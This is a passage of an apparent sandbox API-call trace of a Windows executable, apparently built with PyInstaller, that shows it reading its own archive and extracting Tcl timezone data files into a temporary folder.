cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.976] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.976] GetFileType (hFile=0x10c) returned 0x1 [0038.976] htonl (hostlong=0xd45a5900) returned 0x595ad4 [0038.976] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e0ad4, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.976] htonl (hostlong=0xcb050000) returned 0x5cb [0038.976] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5cb) returned 0x550600 [0038.976] htonl (hostlong=0xcb050000) returned 0x5cb [0038.976] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.976] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.976] htonl (hostlong=0xdd1c0000) returned 0x1cdd [0038.976] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1cdd) returned 0x561090 [0038.976] htonl (hostlong=0xcb050000) returned 0x5cb [0038.976] htonl (hostlong=0xdd1c0000) returned 0x1cdd [0038.976] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562d78 [0038.976] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562d78 | out: hHeap=0x530000) returned 1 [0038.976] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.976] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.976] CloseHandle (hObject=0x10c) returned 1 [0038.977] GetLastError () returned 0x0 [0038.977] SetLastError (dwErrCode=0x0) [0038.977] GetLastError () returned 0x0 [0038.977] SetLastError (dwErrCode=0x0) [0038.977] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.977] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.977] GetFileType (hFile=0x10c) returned 0x1 [0038.977] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.977] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.977] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.977] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.977] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.977] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.977] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.977] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.977] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.977] CloseHandle (hObject=0x10c) returned 1 [0038.977] GetLastError () returned 0x0 [0038.977] SetLastError (dwErrCode=0x0) [0038.977] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.977] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.977] GetFileType (hFile=0x10c) returned 0x1 [0038.977] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.978] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.978] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.978] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.978] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.978] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.978] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.978] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.978] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.978] CloseHandle (hObject=0x10c) returned 1 [0038.978] GetLastError () returned 0x0 [0038.978] SetLastError (dwErrCode=0x0) [0038.978] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.978] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.978] GetFileType (hFile=0x10c) returned 0x1 [0038.978] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.978] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.978] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.978] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.978] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.978] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.978] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.978] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.978] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.978] CloseHandle (hObject=0x10c) returned 1 [0038.979] GetLastError () returned 0x0 [0038.979] SetLastError (dwErrCode=0x0) [0038.979] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Inuvik") returned 71 [0038.979] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Inuvik" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\inuvik"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.979] GetLastError () returned 0x2 [0038.979] SetLastError (dwErrCode=0x2) [0038.979] GetLastError () returned 0x2 [0038.979] SetLastError (dwErrCode=0x2) [0038.979] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Inuvik", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Inuvik", lpFilePart=0x0) returned 0x46 [0038.979] GetLastError () returned 0x2 [0038.979] SetLastError (dwErrCode=0x2) [0038.979] GetLastError () returned 0x2 [0038.979] SetLastError (dwErrCode=0x2) [0038.979] GetLastError () returned 0x2 [0038.979] SetLastError (dwErrCode=0x2) [0038.979] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Inuvik") returned 71 [0038.979] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.979] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Inuvik" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\inuvik"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.979] GetFileType (hFile=0x10c) returned 0x1 [0038.979] htonl (hostlong=0xdd1c0000) returned 0x1cdd [0038.979] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0038.981] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.981] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xcdd, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xcdd, lpOverlapped=0x0) returned 1 [0038.981] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.981] CloseHandle (hObject=0x10c) returned 1 [0038.981] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.982] htonl (hostlong=0x30000000) returned 0x30 [0038.982] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.982] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.982] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.982] GetFileType (hFile=0x10c) returned 0x1 [0038.982] htonl (hostlong=0x9f605900) returned 0x59609f [0038.982] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e109f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.983] htonl (hostlong=0xce050000) returned 0x5ce [0038.983] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5ce) returned 0x550600 [0038.983] htonl (hostlong=0xce050000) returned 0x5ce [0038.983] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.983] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.983] htonl (hostlong=0xfd1c0000) returned 0x1cfd [0038.983] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1cfd) returned 0x561090 [0038.983] htonl (hostlong=0xce050000) returned 0x5ce [0038.983] htonl (hostlong=0xfd1c0000) returned 0x1cfd [0038.983] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562d98 [0038.984] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562d98 | out: hHeap=0x530000) returned 1 [0038.984] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.984] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.984] CloseHandle (hObject=0x10c) returned 1 [0038.984] GetLastError () returned 0x0 [0038.984] SetLastError (dwErrCode=0x0) [0038.984] GetLastError () returned 0x0 [0038.984] SetLastError (dwErrCode=0x0) [0038.984] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.984] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.984] GetFileType (hFile=0x10c) returned 0x1 [0038.984] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.984] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.984] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.984] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.984] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.984] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.984] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.984] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.984] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.984] CloseHandle (hObject=0x10c) returned 1 [0038.985] GetLastError () returned 0x0 [0038.985] SetLastError (dwErrCode=0x0) [0038.985] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.985] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.985] GetFileType (hFile=0x10c) returned 0x1 [0038.985] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.985] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.985] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.985] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.985] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.985] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.985] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.985] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.985] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.985] CloseHandle (hObject=0x10c) returned 1 [0038.985] GetLastError () returned 0x0 [0038.985] SetLastError (dwErrCode=0x0) [0038.985] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.985] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.986] GetFileType (hFile=0x10c) returned 0x1 [0038.986] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.986] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.986] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.986] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.986] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.986] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.986] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.986] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.986] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.986] CloseHandle (hObject=0x10c) returned 1 [0038.986] GetLastError () returned 0x0 [0038.986] SetLastError (dwErrCode=0x0) [0038.986] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Iqaluit") returned 72 [0038.986] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Iqaluit" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\iqaluit"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.986] GetLastError () returned 0x2 [0038.986] SetLastError (dwErrCode=0x2) [0038.986] GetLastError () returned 0x2 [0038.986] SetLastError (dwErrCode=0x2) [0038.986] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Iqaluit", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Iqaluit", lpFilePart=0x0) returned 0x47 [0038.987] GetLastError () returned 0x2 [0038.987] SetLastError (dwErrCode=0x2) [0038.987] GetLastError () returned 0x2 [0038.987] SetLastError (dwErrCode=0x2) [0038.987] GetLastError () returned 0x2 [0038.987] SetLastError (dwErrCode=0x2) [0038.987] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Iqaluit") returned 72 [0038.987] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.987] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Iqaluit" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\iqaluit"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.987] GetFileType (hFile=0x10c) returned 0x1 [0038.987] htonl (hostlong=0xfd1c0000) returned 0x1cfd [0038.987] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0038.988] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.988] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xcfd, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xcfd, lpOverlapped=0x0) returned 1 [0038.989] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.989] CloseHandle (hObject=0x10c) returned 1 [0038.989] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.989] htonl (hostlong=0x30000000) returned 0x30 [0038.989] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.989] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.989] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.990] GetFileType (hFile=0x10c) returned 0x1 [0038.990] htonl (hostlong=0x6d665900) returned 0x59666d [0038.990] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e166d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.990] htonl (hostlong=0x1a010000) returned 0x11a [0038.990] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x11a) returned 0x550600 